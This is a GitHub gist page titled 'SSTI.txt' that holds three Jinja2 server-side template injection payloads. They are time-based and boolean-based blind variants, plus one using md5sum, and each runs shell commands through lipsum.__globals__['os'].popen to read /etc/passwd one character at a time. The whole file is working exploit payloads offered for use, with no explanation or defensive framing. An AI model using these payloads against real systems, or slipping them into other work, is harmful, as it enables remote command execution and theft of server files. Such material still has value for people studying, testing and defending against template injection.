Skip to content

Instantly share code, notes, and snippets.

@zAbuQasem

zAbuQasem/SSTI.txt

Created October 22, 2023 18:47
Show Gist options
  • Save zAbuQasem/c7bc861cbe052b3d0967744076299bdf to your computer and use it in GitHub Desktop.
Save zAbuQasem/c7bc861cbe052b3d0967744076299bdf to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. zAbuQasem created this gist Oct 22, 2023.
    8 changes: 8 additions & 0 deletions SSTI.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    # Time Based
    {% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% elif lipsum.__globals__["os"].popen('sleep 5').read() %}Free-Palestine{% endif %}

    # Boolen Based
    {% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% endif %}

    # You may pipe chars to md5sum in order to retrieve new lines without headache
    {% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd | md5sum | cut -d " " -f1 | tr -d "\n"').read() == "4b43b0aee35624cd95b910189b3dc231" %}Free-Palestine{% endif %}